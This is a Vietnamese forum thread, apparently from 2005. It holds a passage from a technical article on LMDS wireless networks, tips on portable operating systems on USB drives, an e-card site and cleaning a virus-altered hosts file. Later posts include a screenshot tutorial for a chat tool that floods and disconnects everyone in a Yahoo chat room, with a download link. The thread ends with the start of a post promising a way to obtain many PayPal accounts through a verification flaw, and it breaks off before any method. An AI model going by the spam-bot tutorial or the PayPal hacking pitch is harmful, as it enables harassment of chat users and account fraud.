Các hệ thống truyền số liệu trên nền LMDS thường mang tính chất bất đối xứng, mặc dù hoàn toàn có thể thiết lập được các hệ thống đối xứng. Tuyến truyền hướng lên kết hợp với tuyến truyền hướng xuống tạo ra một mạng truyền số liệu dựa trên cơ sở công nghệ LMDS. Trong hệ thống thử nghiệm sử dụng tần số 100MHz cho tuyến truyền lên[12]. Tuy nhiên, tần số này có thể được tăng lên và việc điều chỉnh này có thể là động. Đây là một vấn đề hết sức quan trọng trong thiết kế mạng. Các Microcell sử dụng phương pháp truy nhập vô tuyến theo mã CDMA, còn các Macrocell sử dụng kiểu điều chế QPSK vi sai kết hợp với mã xoắn tỷ lệ 3/4. Tổng dung lượng tuyến truyền lên của hệ thống thử nghiệm là 6,14Mb/s. Hệ thống TDMA của tuyến truyền lên có tính chất động, nghĩa là người sử dụng có thể yêu cầu hơn một khe thời gian. Các phân tích từ kết quả thống kê cho thấy thông thường người sử dụng chỉ làm việc với tốc độ số liệu đầu vào là từ 64-512kb/s. Thực tế, tốc độ này đối với người sử dụng hộ gia đình là đủ. Tuy nhiên, đối với các người sử dụng cho dịch vụ thương mại thì các tham số của mô hình hệ thống thử nghiệm cần phải được thiết lập lại.

5. Lớp giao thức

Phần lớn các hệ thống LMDS được bán trên thị trường cung cấp các dịch vụ IPv4 cho người sử dụng bằng công nghệ IP trên nền ATM. Việc sử dụng mạng cơ sở ATM cho phép thực hiện việc kết nối thuận tiện giữa các hệ thống vô tuyến và mạng lõi ATM. Tuy nhiên, việc sử dụng mạng cơ sở ATM làm nảy sinh ra rất nhiều vấn đề về giao thức khi thông tin được truyền trên các gói IP. Để thực hiện việc truyền dẫn tối ưu trên cơ sở kết nối IP, các gói IP có thể được truyền trực tiếp, bỏ qua lớp ATM. Thêm nữa, các giao thức thực hiện quá trình điều khiển liên kết số liệu vô tuyến (DLC-Data Link Control) và điều khiển truy nhập dịch vụ (MAC-Medium Access Control) sẽ được tối ưu hoá theo chuẩn IPv4/IPv6 (độ dài gói, đặc tính lưu lượng…). Ngoài ra, mạng lõi IPv6 sẽ đảm bảo việc thực hiện liên kết mạng. Thêm nữa, ta có thể thực hiện việc vận hành liên kết ở mức tế bào ATM bởi trạm phát gốc có khả năng thực hiện các kết nối ATM. Có thể hiểu đây là quá trình truyền dẫn giữa các đầu cuối ATM, tuy nhiên bị gián đoạn tại trạm gốc.

6. Thiết bị đầu cuối

Hai thiết bị chính đó là trạm phát gốc và thiết bị đầu cuối của người sử dụng. Sơ đồ khối cấu trúc của mạng được biểu diễn như trên hình 2 (Tham khảo tại Tạp chí Bưu chính Viễn thông kỳ II - Infoworld tháng 1/2005). Trạm phát gốc gồm một kết cuối mạng cố định (là một máy tính) nhằm thực hiện việc kết nối với các mạng dùng công nghệ khác nhau như IP, ATM hay chuyển tiếp khung (Fram Relay). Ngoài ra, trạm phát gốc còn bao gồm cả phân hệ xử lý băng tần cơ sở và một phân hệ RF với cấu hình có thể thay đổi (tần số được thay đổi bởi các Card mở rộng RF). Người sử dụng có thể truy nhập theo hai cách khác nhau. Về nguyên tắc, nếu chúng ta sử dụng duy nhất một kết nối trực tiếp với Macrocell thì ta cần phải có một bộ thu phát làm việc ở dải tần 40GHz có tích hợp anten kích thước nhỏ (kích thước đĩa anten khoảng 10cm) và một bộ thu phát truyền hình số vệ tinh theo chuẩn DVB-S. Trong khi đó, người sử dụng trong vùng của Microcell thì chỉ cần một bộ thu phát DS-CDMA làm việc ở dải tần 5/17GHz. Trong thực tế, giả sử nếu có một khu tập thể có cáp dẫn đến từng phòng thì ta có thể sử dụng một khối thu trung tâm làm việc ở dải tần 40GHz. Các đường kết nối đến các phòng được thực hiện thông qua các hệ thống cáp có sẵn. Tuy nhiên, ta có thể sử dụng đầu thu vệ tinh DVB-S đã điều chỉnh để làm việc như một điểm truy. Vì vậy, hộ gia đình có thể sử dụng công nghệ IP trên cơ sở LMDS, truyền hình trên cơ sở LMDS, điểm truy nhập mạng gia đình và đầu thu vệ tinh chỉ với một thiết bị duy nhất.

Một đầu thu vệ tinh có khả năng lập trình có thể đóng vai trò của một điểm truy nhập. Tuyến truyền hướng xuống đến người sử dụng tương thích với chuẩn DVB-S/T về cả mặt giao diện vật lý lẫn cấu trúc khung. Thực nghiệm đã thực hiện việc ghép các khung có độ dài là 188byte thành các dòng truyền tải tại trạm thu phát gốc. Nếu ta muốn truyền dòng tín hiệu Video nén theo chuẩn MPEG-2 thì ta phải gắn giá trị ID lưu lượng tương ứng vào phần tiêu đề. Tại thiết bị đầu cuối của người sử dụng, dòng truyền tải MPEG2-TS sẽ được xử lý ở giao diện mạng, thông thường giao diện này được thiết kế ở ngay trong đầu thu. Giá trị ID ở phần tiêu đề sẽ được đọc và tính toán để thực hiện việc điều khiển chuyển mạch gói.

Nếu giá trị ID biểu thị lưu lượng IP, gói thông tin sẽ được chuyển đến ngăn xếp IP. Thông thường gói IP sẽ được chuyển từ bộ thu set-top-box đến một cổng đầu ra (ví dụ như cổng Ethernet), cổng này được nối với mạng nội bộ gia đình hay nối với máy tính.

Nếu giá trị ID biểu thị lưu lượng Video MPEG2, gói này sẽ được chuyển thẳng đến bộ giải mã MPEG-2 và sau đó đưa đến mạch đầu vào của TV.

Ta có thể ghép nhiều kết nối trong một dòng truyền tải MPEG2-TS đơn, nói cách khác, một người sử dụng có thể cùng một lúc vừa nhận tín hiệu Video MPEG2 đồng thời thực hiện việc kết nối Internet. Vấn đề này đã được kiểm nghiệm trong quá trình thử nghiệm. Đây thực sự là một tính năng nổi bật bởi xác suất dùng đồng thời cả dịch vụ TV và truy cập Internet của người sử dụng là rất lớn.

7. TCP trên cơ sở LMDS

Có rất nhiều các nghiên cứu và tìm hiểu về vấn đề thực hiện TCP trên các kênh vô tuyến có độ tin cậy cao[5-9]. Hiện nay việc thực hiện TCP vô tuyến được triển khai trực tiếp ngay ở các hệ thống di động kiểu tế bào cellular. Ta cần lưu ý một số khác biệt giữa TCP vô tuyến và TCP trên cơ sở LMDS. Không giống như các hệ thống vô tuyến cellular khác, trong LMDS sẽ không có chuyển giao. Điều này sẽ hoàn toàn loại bỏ vấn đề trễ chuyển giao xảy ra ở TCP. Di động IP và DHCP là hai giải pháp rất tốt cho LMDS. LMDS hai lớp đã mở ra một tiềm năng cung cấp các dịch vụ mới đối với các nhà cung cấp dịch vụ Internet (ISP).

Một vấn đề đã được biết rất rõ là các hệ thống vô tuyến thường có tỷ lệ lỗi cao và độ trễ lớn so với các hệ thống hữu tuyến. Tuy nhiên, trong trường hợp của LMDS ta có thể dùng các mã đường truyền, vì vậy sẽ tạo ra được một khoảng băng tần dự phòng nhằm hạn chế vấn đề trên. Ví dụ như đối với tuyến truyền hướng xuống, ta sử dụng kỹ thuật ghép xen, mã xoắn và mã Reed-Solomon RS(204,188). Trong thực tế, ta có thể giảm tỷ lệ lỗi bit của tuyến truyền (BER) xuống nhỏ hơn 10-7 trong điều kiện truyền bình thường. Với tỷ lệ lỗi bit như trên thì chất lượng hệ thống là hoàn toàn đạt yêu cầu. Phương pháp này ta dùng cơ chế yêu cầu truyền lại tự động ARQ và cơ chế TCP. Vì vậy, việc thiết kế thực hiện kết nối TCP trên cơ sở LMDS gần tương tự như các vấn đề gặp phải trong mạng cục bộ không dây (WLAN), cùng với một số vấn đề của mạng tế bào cellular.

Trong thực tế, giao thức Snoop Berkeley[10] có thể được thực hiện một cách dễ dàng ở trạm thu phát gốc của LMDS, bởi trạm thu phát gốc có công suất khá lớn và thường dùng các tuyến truyền có tính ổn định cao để kết nối đến các nhà cung cấp dịch vụ. Thêm nữa, trạm thu phát gốc còn có một khối lượng bộ nhớ đệm rất lớn dành cho giao thức Snoop.

TCP chuẩn được sử dụng hiện tại hết sức nhạy cảm với sự mất gói và các trễ không gây tắc nghẽn. Với tỷ lệ mất gói IP là 2%, TCP truyền qua bị rớt khoảng từ 20-50%, điều này đồng nghĩa với việc gần như không sử dụng được TCP[5]. Kết quả thực nghiệm đã chỉ ra rằng khả năng truyền qua TCP như là một hàm của tỷ lệ mất gói đối với tuyến truyền hướng lên LMDS ở kênh không lỗi với tốc độ truyền dẫn của người sử dụng là 650kb/s (tốc độ bit của kênh là 1Mb/s)[2]. Việc sửa sai trước (FEC) ở lớp vật lý là vấn đề không nhìn thấy nhưng đóng vai trò hết sức quan trọng trong TCP/IP. Các kết quả thực nghiệm cho thấy nếu băng thông đủ lớn, thì ta nên cố gắng che giấu lỗi ở lớp vật lý hơn là sử dụng phương pháp ARQ giống như Snoop.

Trong phần lớn các trường hợp nếu hệ thống làm việc ở dải tần 40GHz kết hợp với việc sử dụng các mã FEC, ARQ và điều khiển lỗi trong TCP thì giá trị của QoS trên toàn hệ thống là rất tốt. Các ứng dụng Internet thông thường sẽ không thấy được sự khác biệt giữa LMDS truyền vô tuyến và hữu tuyến (đối với một tuyến truyền cố định ở xa). Tuy nhiên, trong một số điều kiện về thời tiết, đặc biệt là khi có mưa hay có tuyết sẽ làm suy giảm đáng kể khả năng truyền dẫn. Để khắc phục đối với hiện tượng này, cần sử dụng việc điều khiển qua kênh vô tuyến. Khối điều khiển lỗi lớp vật lý, đặc biệt là bộ mã hoá Reed-Solomon sẽ được thiết kế làm việc ở chế độ động, cho phép thay đổi mã một cách linh hoạt nhằm đạt được giá trị lỗi BER định trước. Khoảng động thời gian của thuật toán là không lớn. ở đây ta không quan tâm nhiều đến việc thực hiện điều chỉnh đối với sự thay đổi pha đinh nhanh.

Trong đường truyền vô tuyến ta đã không sử dụng các cơ chế giám sát QoS Internet như là giao thức phục vụ tài nguyên (RSVP)/dịch vụ phân biệt (DiffServ). Tuy nhiên, cấu trúc của LMDS thử nghiệm vẫn có thể đảm bảo QoS đối với các dòng thoại và video bằng cách đặt các dòng và các khe thời gian dành riêng ở chế độ kết nối thời gian thực. Trong thiết bị đầu cuối, phần tiêu đề của gói (gói LLC, không phải tiêu đề của IP) sẽ chỉ thị cho người sử dụng biết được là dòng truyền tải là dành cho các mạch xử lý thời gian thực hay ngăn xếp TCP/IP. Đây là một cơ chế giám sát QoS hết sức đơn giản, tuy nhiên, chất lượng không cao.

8.Sự phân mảnh TCP và kích thước khung

Một vấn đề nữa cũng cần hết sức quan tâm trong việc thực hiện TCP vô tuyến trên cơ sở LMDS là sự phân mảnh của gói. Kích thước các gói trong IPv4 và IPv6 là quá dài đối với thông tin vô tuyến, ngay cả đối với tuyến truyền dẫn băng rộng cố định.

Trước đây, chuẩn DAVIC nghiêng theo hướng sử dụng các tế bào ATM. Thực ra, lý do chính là có quá nhiều sự quan tâm đến công nghệ ATM và một số lượng lớn các nghiên cứu dành cho lĩnh vực ATM không dây (WATM). Tuy nhiên, kích thước tế bào ATM là chưa tối ưu đối với LMDS, thậm chí ngay cả đối với tuyến truyền lên tốc độ chậm. Mặc dù ta đã có cơ chế đặt trước cho ATM, tuy nhiên kích thước tế bào ATM cần được thay đổi cho phù hợp với các hệ thống vô tuyến làm việc trong điều kiện môi trường truyền dẫn xấu. Trong trường hợp LMDS, thành phần tiêu đề và trễ truyền dẫn quá lớn khi tính đến giá thành.

Trong thực tế, nếu ta không quan tâm nhiều đến việc tối ưu hoá gói truyền qua trong điều kiện bình thường ở các tuyến truyền trên LMDS thì ta có thể sử dụng các khung dài hơn nữa. Chọn khung có chiều dài 204/188byte vì kích thước này bằng với kích thước của khung MPEG2-TS. Khi đó hệ thống là hoàn toàn tương thích với các chuẩn đa dịch vụ (Multimedia). Đây thực sự là vấn đề rất cần được quan tấm nếu muốn giảm giá thành sản phẩm. Thêm nữa, như đã đề cập ở phần trên, điều kiện truyền sóng nhiều khi là thay đổi rất lớn, vì vậy tốt hơn hết là ta duy trì ở trạng thái tối ưu.

Cuối cùng, việc chọn lựa chiều dài khung MPEG2-TS làm đơn vị truyền tải cơ sở hết sức hữu ích cho việc tối ưu hoá tuyến truyền xuống. Như đã nói ở trên, ta có thể gửi cả dịch vụ gói IP cũng như tín hiệu Video MPEG-2 trên cùng một hệ thống truyền dẫn. Khoảng tối ưu đối với tín hiệu truyền qua là từ 2-5 gói truyền tải MPEG-2 trên một khe thời gian. Trong hệ thống thử nghiệm của CABSINET, đây là tham số có thể cấu hình lại được tuỳ thuộc vào người vận hành. Tất nhiên là ngưỡng ACK đối với TCP/IP cần phải lựa chọn phù hợp. Vấn đề này có thể được thực hiện một cách linh hoạt, và các trạm thu phát gốc thậm chí có thể điều khiển được cả thiết bị ở phía người sử dụng thông qua kênh báo hiệu.

Tổng độ trễ tổng TCP bao gồm quá trình xử lý, trễ truyền dẫn hướng lên… Vì vậy, nó sẽ không tỉ lệ một cách tuyến tính với độ trễ của tuyến truyền hướng lên. Độ trễ hướng truyền lên cao hơn sẽ gây ra các vấn đề về định thời, bộ nhớ đệm…Từ các kết quả thực nghiệm và chương trình mô phỏng ta có thể thấy rằng, LMDS có thể đảm nhiệm vai trò một Gateway TCP/IP đối với người sử dụng. Sự thay đổi nhằm đảm bảo độ tin cậy được thực hiện ở lớp vật lý và các lớp truyền dẫn bằng các modul thích ứng. Trong thực tế, đây là một yêu cầu rất quan trọng trong quá trình thiết kế bởi bất cứ một sự thay đổi nhỏ nào trong đường truyền từ đầu cuối đến đầu cuối ở TCP/IP cũng dẫn đến ảnh hưởng đặc tính chung của cả hệ thống.

Vấn đề cuối cùng ta cần quan tâm ở đây là độ trượt và độ tin cậy trong hệ thống thử nghiệm thực tế. Các phép đo đối với hệ thống và mạng thử nghiệm đã chỉ ra rằng, mặc dù không thực hiện việc điều khiển lỗi độ tin cậy của đường truyền là vẫn đảm bảo. Trong thực tế, tuyến truyền dẫn gần như hoàn toàn xác định và độ trượt là rất thấp. Điều này chứng tỏ sự đúng đắn trong việc sử dụng kỹ thuật điều chế OFDM trong cả Macrcell lẫn Microcell. Tuy nhiên, trong một số đường truyền thấy xuất hiện các đỉnh trễ lớn (500ms so với độ trễ thông thường 100ms), điều này có thể giải thích là do các gói bị mất và thời gian yêu cầu để khôi phục lại gói.

9. Ứng dụng

Một vài năm trước đây người ta nghĩ rằng dịch vụ truyền hình theo yêu cầu (VoD) sẽ “giết chết” LMDS. Ngược lại, hiện nay truy nhập Internet vô tuyến tốc độ cao và truyền hình tương tác kỹ thuật số gần như thay thế hoàn toàn VoD. Truyền hình quảng bá băng rộng dùng kỹ thuật số và thoại trên cơ sở LMDS được xem là một lĩnh vực đột phá đầy tiềm năng. Các dịch vụ giá trị gia tăng của cấu trúc LMDS được triển khai hết sức dễ dàng mặc dù sử dụng cùng một cơ sở hạ tầng.

LMDS có tính linh hoạt cao và có khả năng đáp ứng số lượng yêu cầu lớn. Các yêu cầu về dịch vụ và dung lượng có thể được triển khai dễ dàng bằng cách thay đổi kích thước cell và cấu trúc hệ thống anten khác. Điều này đã làm cho LMDS thực sự phù hợp với người sử dụng hộ gia đình và các doanh nghiệp nhỏ. Các ứng dụng khác mới được nói đến là kết nối mạng xa và giám sát hình ảnh vô tuyến. Thêm nữa, vẫn có thể sử dụng dịch vụ điện thoại (bằng VoIP và SIP). Do dung lượng lớn và mức độ sử dụng rất thấp vào ban đêm, vì vậy LMDS có thể còn được sử dụng như là hệ thống truyền số liệu có trễ. Người sử dụng có thể yêu cầu Video hay thực hiện việc nâng cấp phần mềm thông qua mạng LMDS trong khoảng thời gian có ít người sử dụng với giá cước thấp. Các mô phỏng cho thấy rằng, bằng cách này giá thành giảm đáng kể và tạo ra tính cân bằng trong mạng hết sức hiệu quả.

LMDS hết sức phù hợp trong các trường hợp người vận hành yêu cầu thiết lập nhanh việc trao đổi số liệu ở vùng đông dân cư hay là khi không thể truy nhập vào cơ sở hạ tầng cáp đồng. Một khả năng nữa của mạng LMDS là triển khai dịch vụ ở các vùng mật độ dân cư thấp, nơi mà cơ sở hạ tầng cáp đồng hoặc cáp quang là quá đắt hay không thể triển khai được.

10. Kết luận

Như vậy, LMDS là hoàn toàn phù hợp với các yêu cầu của dịch vụ vô tuyến băng rộng. Các thử nghiệm thực tế cho thấy mạng được triển khai trên cơ sở LMDS không bị hạn chế chỉ ứng dụng ở các hệ thống truyền hình tương tác hay quảng bá, mà ta còn có thể thực hiện triển khai TCP/IP trên cơ sở LMDS. Điều này đã được thực hiện bằng cách xây dựng các bộ tăng cường giao thức TCP trên nền MPEG. Các mô phỏng và thử nghiệm đã chỉ ra rằng việc thực hiện IP trên LMDS có thể triển khai ngay trên các hệ thống vô tuyến tiêu chuẩn. Tuy nhiên, nhà khai thác cũng không nên đánh giá thấp sự cần thiết sự điều chỉnh trong vấn đề thu vô tuyến, trong mạng, và các tham số TCP/IP sao cho việc sử dụng phổ là hiệu quả nhất với giá trị QoS có thể chấp nhận được.

LMDS có thể được sử dụng như là mạng đường trục băng rộng bằng cách thay thế Microcell chuyên dụng bởi một số công nghệ thông dụng hơn (như HiperLan/2, IEE802.11a). Trong thực nghiệm đã chỉ ra rằng LMDS làm việc không tốt với chức năng lặp vùng vô tuyến tĩnh hay riêng rẽ. Hệ thống sẽ làm việc tốt hơn với cấu trúc mạng xen phủ, ở đó các mạng tần số thấp sử dụng LMDS như là một mạng trung kế hay mạng lõi tốc độ cao.

Các kết quả đưa ra ở đây là thực hiện trên cấu trúc mạng LMDS hai lớp, TDMA/FDMA tốc độ cao, TCP vô tuyến cố định trên nền LMDS, đặc biệt là TCP dựa trên lớp liên kết giao thức MPEG-2, cơ chế sử dụng băng thông rộng động và có thể cấu hình lại được cho các mạng số liệu LMDS.

Tài liệu tham khảo

[1] T. Kwok, “Residential Broadband Internet Services and Application Requirements”, IEEE Commun. Mag., June 1997, p.76.
[2] P. Mahonen et al., “40GHz LMDS–System Architecture Development”, ICT 1998 vol. 1, 1998, p.422.
[3] ETS 300 748, 1996, “Digital Broadcasting Systems for Television, Sound and Data Services; Framing Structure, Channel Coding and Modulation for MultipointVideo Distribution Systems (MVDS) at 10GHz and Above”; ETS 300 744, “Digital Broadcasting Systems for Television, Sound and Data Services; Framing Structure, Channel Coding and Modulation for Digital Terrestrial Broadcasting”, May 1996.
[4] DAVIC 1.4 Spec., Pt. 8, “Lower Layer Protocols and Physical Interfaces”, 1998, Geneva, Switzerland.
[5] G.Xylomenos and G.C. Polyzos, “TCP and UDP Performance over a Wireless LAN”, IEEE INFOCOM ’99, 1999, p.439.
[6] H. Balakrishnan et al., “A Comparison of Mechanisms for Improving TCP Performance Over Wireless Links”, ACM SIGCOMM ’96, p.256.
[7] K. Brown and S.Singh, “M-UDP: UDP for Mobile Networks”, Comp. Commun. Rev., vol. 26, no.5, Oct. 1997, pp.19-43.
[8] R.Kalden, I.Meirick and M.Meyer, “Wireless Internet Access Based on GPRS”, IEEE Pers. Commun., Apr. 2000, pp. 8-18.
[9] R. Ludwig and B. Rathonyi, “Link Layer Enhancements for TCP/IP over GSM”, IEEE INFOCOM 1999.
[10] H. Balakrishnan, S. Seshan, R.H. Katz, “Improving Reliable Transport and Handoff Performance in Cellular Wireless Networks”, ACM Wireless Networks, vol.1, no. 4, Dec. 1995.
[11] P. Mahonen et al., “Medium Access and Reconfigurability for Two-Layer LMDS”, Proc. WAS Wksp., San Francisco,CA, 2001.
[12] Petri Mahonen, Tmmi Saarinen, And Zach Shelby, “Wireless Internet over LMDS: Architeture and Experiment Implementation”, IEEE May. 2001. pp. 126-132.

tk_nam
15-11-2005, 09:03 PM
http://www.microsoft.com/downloads/details.aspx?FamilyID=A120E012-CA31-4BE9-A3BF-B9BF4F64CE72&displaylang=en Môi trường hoạt động
http://quantrimang.com/photos/Image/112005/05/USB.JPG
Như chúng tôi đã đề cập ở trên, bạn thậm chí còn có thể cài đặt cả một hệ điều hành lên trên ổ USB của mình. Trong phần này chúng tôi xin đề cập đến cách cài đặt các hệ điều hành như vậy lên ổ USB của bạn.

Hệ điều hành Windows CE

Windows CE đã được biết đến rất nhiều với vai trò là hệ điều hành dành cho các thiết bị trợ giúp cá nhân PDA. Nhưng với một chiếc ổ USB thôi bạn cũng có thể cài đặt và chạy hệ điều hành này để thưởng thức sự khác biết với hệ điều hành Windows nguyên bản hay thử sử dụng trình duyệt IE và Windows Messenger “mini” chẳng hạn. Đây là các bước cài đặt dành cho bạn. Chú ý bạn nên dùng ổ USB có dung lượng cao một chút vì đây là cả một hệ điều hành – nó chiếm đến 32MB dung lượng đấy. Chỉ có một điều khác biệt là ở đây Windows CE không chạy trên môi trường thực sự của nó mà nó phải chạy thông qua một ứng dụng giả lập.

- Trước tiên bạn hãy tải về Windows CE 5.0 Device Emulator tại http://www.microsoft.com/downloads/details.aspx?FamilyID=A120E012-CA31-4BE9-A3BF-B9BF4F64CE72&displaylang=en http://www.furrygoat.com/Software/launchce.cmd.txt - Giải nén trình giả lập sang một thư mục trên ổ cứng máy PC của bạn bằng cách chạy “setup /a”. Trình cài đặt ngay lập tức sẽ hỏi bạn cần giải nén ra thư mục nào, bạn đưa đường dẫn thư mục là ok. Ví dụ D:\PortableCE
- Bạn tải về đoạn mã của trình giải lập tại [/HTML] http://www.furrygoat.com/Software/launchce.cmd.txt[/HTML] (Nhắp chuột phải vào liên kết chọn Save target as). Khi tải về bạn nhớ đổi tên thành launchce.cmd nhé
- Sau khi bạn cài đặt thành công bạn hay copy toàn bộ thư mục D:\PortableCE lên ổ USB của bạn là ok.
- Để khởi động hệ điều hành bạn hãy cắm ổ USB của bạn vào một PC bất kỳ, tìm đến thư mục PortableCE sau đó chạy launchce.cmd.

Nếu là lần đầu tiên bạn chạy trình giả lập, thì khi PortableCE khởi động nó sẽ ngay lập tức khởi động trình duyệt web hoặc ứng dụng IM. Còn đối với các lần khởi động khác nó sẽ khởi động ứng dụng mà bạn làm việc lần cuối cùng. Bạn có thể bổ sung thêm các ứng dụng về sau này. Bạn có thể tham khảo thêm thông tin về việc cài đặt hệ điều hành này tại địa chỉ www.furrygoat.com/2004/12/portable_ce.html

Hệ điều hành Linux

Nếu bạn yêu cầu một hệ điều hành cần có tính bảo mật cao hơn thì bạn có thể cài đặt và chạy hệ điều Linux cũng được. Ứng dụng Portable Virtual Privacy Machine của Metropipe có dung lượng 125MB là một môi trường Linux hoàn hảo cho bạn yêu thích hệ điều hành. Đây là ứng dụng sử dụng phần mềm giả lập mã nguồn mở QEMU cho phép Linux chạy theo kiểu cửa sổ hay toàn màn hình trên một ổ USB được cắm vào một PC chạy hệ điều Windows. Hệ điều hành Linux dành cho ổ USB có tên là Damn Small Linux trong đó đã bao gồm cả trình duyệt Firefox, Thunderbird cũng như một số ứng dụng mã nguồn mở khác. Bạn có thể tham khảo thêm về việc cài đặt và chạy hệ điều hành Linux trên ổ USB tại địa chỉ sau www.metropipe.net/ProductsPVPM.shtml.

Một tương lai dễ chịu hơn

Bắt đầu từ mùa thu năm 2005 bạn sẽ có thể có thêm một số ứng dụng khác như tường lửa ZoneAlarm phiên bản di động có thể chạy trên các ổ USB sử dụng chuẩn U3 ( www.u3.com ). Hoặc chỉ cần duy nhất một ứng dụng khởi động cho tất cả mọi chương trình tương thích chuẩn U3. Mặc dù điều này khiến cho công việc của bạn trở nên dễ dàng hơn rất nhiều nhưng như thế bạn cần phải có một ổ USB tương thích chuẩn U3 và cũng có nghĩa là không tương thích với ổ USB hiện thời của bạn. Nhưng dù sao thì vẫn còn có rất nhiều các phần mềm khác có tính năng không kém mấy. Bạn hãy chờ thêm 1 thời gian nữa vậy.

tk_nam
16-11-2005, 06:41 AM
Thời gian sắp tới (20-11, Noel, Tết…) là dịp để mọi người gửi thư thăm hỏi, chúc mừng nhau. Nếu bạn muốn có một mẫu thiệp đẹp để in ra giấy hoặc giử e-mail, hãy thử sử dụng dịch vụ e-card tại trang web www.mycardmaker.com xem sao.

Để sử dụng dịch vụ của trang web này, bạn phải đăng ký một tài khoản miễn phí của nhà cung cấp - bạn cũng không phải băn khoăn nhiều lắm vì quy trình đăng kí rất dễ dàng, đơn giản và nhanh chóng.

Sau khi đăng nhập bằng tài khoản bạn đã đăng ký ở trên và trải qua 3 bước là bạn đã có trong tay một e-card ưng ý. Đầu tiên bạn chọn card với hình mình tự đưa vào hoặc hình có sẵn. Trang web có một thư viện hình ảnh rất phong phú để đưa vào thiệp và được chia làm nhiều chủ đề. Sau khi chọn hình xong, bạn nhập lời chúc mừng - bạn có thể thay đổi font chữ màu chữ tuỳ ý. Cuối cùng bạn chọn in thiệp ra giấy hoặc gửi e-mail.

Chúc bạn thành công và có được tấm thiệp ưng ý.

tk_nam
16-11-2005, 06:44 AM
Có một số loại virus biết tự bảo vệ chúng bằng cách chặn tất cả các trang web về bảo mật, các chương trình diệt virus, và các công cụ khác nhằm tiêu diệt chúng, kể cả tiện ích System Configuration (msconfig) và trình soạn thảo Registry (Regedit) trong Windows cũng không "ăn thua" gì...

Những **** virus" này khá thông minh khi chặn các trang web bảo mật bằng cách thay đổi tập tin Host - một tập tin không có phần mở rộng cho bất cứ chương trình nào, được sử dụng để gán địa chỉ IP cho trang web.
Trong Windows XP, tập tin này nằm ở: C:\Windows\system32\drivers\etc, trong Windows 2000, tập tin này nằm ở C:\WINNT\system32\drivers\etc, trong Windows 98 và Windows ME, tập tin này ở trong C:\Windows.

Vậy, để chỉnh sửa lỗi này, bạn nhấn đúp chuột vào tập tin Host và chọn Notepad hoặc bất cứ chương trình soạn thảo văn bản nào để mở nó. Tiếp tục xóa các dòng chỉ tới các trang chống virus, hoặc đơn giản hơn xóa tập tin Host này, điều này không ảnh hưởng gì vì windows sẽ tự động tạo lại.

Bây giờ, bạn hãy "lướt" tới các trang quét virus trực tuyến để kiểm tra đĩa cứng và loại bỏ chúng. Một trang diệt virus trực tuyến của Panda Software khá tốt là ActiveScan (yêu cầu phải đăng kí qua email) có khả năng giúp bạn việc này. Trang web này sử dụng điều khiển ActiveX để kiểm tra hệ thống, do đó bạn phải sử dụng trình duyệt IE.

Để bảo vệ hệ thống của bạn, bạn hãy thay đổi phần mở rộng của các chương trình từ .exe tới .com (vẫn có thể chạy tốt như .exe). Ví dụ: Nếu virus không cho phép bạn chỉnh sửa Registry, bạn hãy chọn Start -> Run -> gõ command (trong Windows 98, ME), cmd (trong Windows XP) và nhấn Enter. Tại dấu đợi lệnh, gõ ren c:\windows\regedit.exe regedt.com. Bây giờ, bạn muốn chạy chương trình Registry Editor, chỉ cần gõ regedt.

Thay đổi tiện ích System Configuration (msconfig), bạn đổi từ 'msconfig.exe' thành 'msconfig.com'. Trong Windows XP, tiện ích này ở C:\WINDOWS\PCHealth\HelpCtr\Binaries. Trong Windows 98 và ME, bạn sẽ tìm thấy tại C:\windows\system. Windows 2000 không có tiện ích này.

Hãy bảo vệ máy tính của bạn bằng những động tác đơn giản mà hiệu quả như trên.

tk_nam
16-11-2005, 12:00 PM
V.3 là có thể Spam và Bot liên tục các User trong room hiện thời .
Chỉ dùng khi chat room!!!
Trước tiên Login Bot như bình thường.Ở đây tôi Login Nick
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/a.jpg
Sau Khi Login chọn chế độDieu Khien Room ở ngay bên cạnh:
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/b.jpg
Kick vào Tim Room Chat nó sẽ hiện lên 1 ô cửa sổ mới.
Tại ô cuẳ sổ mới Click vào Ket Noi để tìm room chat.Sau khi kết nối bạn tìm đến Vietnam và tới room mình muốn vào
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/c.jpg
Ví dụ bạn chọn room Hanoi:6 bạn chỉ cần chỉ vào room đó nó sẽ tự lưu trữ vào list tại Form chính của V.3:
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/d.jpg
Sau khi đã có Hanoi:6 ở List (tôi đã khoanh đỏ trong hình)Bạn Chọn Dieu Khien Bot nó sẽ hiện ra 1 ô mới cho bạn chọn lựa chế độ Boot và Tin Nhắn
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/e.jpg
Ở đây có 3 chế độ Bot .Chọn cái nào thì đánh dấu.
Chế độ tin nhắn có nghĩa là bạn có thể soạn tin nhắn kèm theo Boot ví dụ trong hình trên tôi gõ vào là Y69 WOWOWOWOW.
Còn Tra Loi Tin Nhan có nghĩa là bất kể 1 ai sau khi bị Spam mà gọi bạn sẽ bị Spam liên tục kèm theo tin nhắn trả lời của bạn.
--------------------------------------------------------------------------------------

Sau khi chọn xong mọi thứ bạn Click vào Hoat Dong để theo dõi hoạt động trong Room:

http://img.photobucket.com/albums/v709/Rock_Khong_em2005/f.jpg
Ở đây tôi dùng nick hip_hop_dance... để vào room mà mình sẽ Spam để theo dõi hiệu quả chương trình gây ra.

Sau khi Click vào Start Bot :
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/g.jpg
và ko chỉ tôi,tất cả những ai trong room đều bị giống tôi.

Ở ngay phía dưới là những thông tin gửi về cho bạn thông báo hoạt động của chương trình:
http://img.photobucket.com/albums/v709/Rock_Khong_em2005/f.jpg
Attached File(s)
http://yahoo-69.com/forums/index.php?act=Attach&type=post&id=2297

tk_nam
16-11-2005, 12:20 PM
đây là bài post đầu tiên của tui : :lol
I. Phương pháp này dựa vào lỗi xác nhận lại địa chỉ của http://www.paypal.com. Cho đến bây giờ cách này vẫn tốt và sẽ chấm dứt khi PP phát hiện ra lỗi và fix.

Mô tả:

Qua phương pháp sau bạn sẽ có rất nhiều Acc PP với sự cách hack xác nhận lại địa chỉ .

II. Thực hành:

Ai cũng muốn hack PP , nhưng có ai biết nó xuất phát, hình thành như thế nào chưa? Tôi xin nói đôi chút nhá .

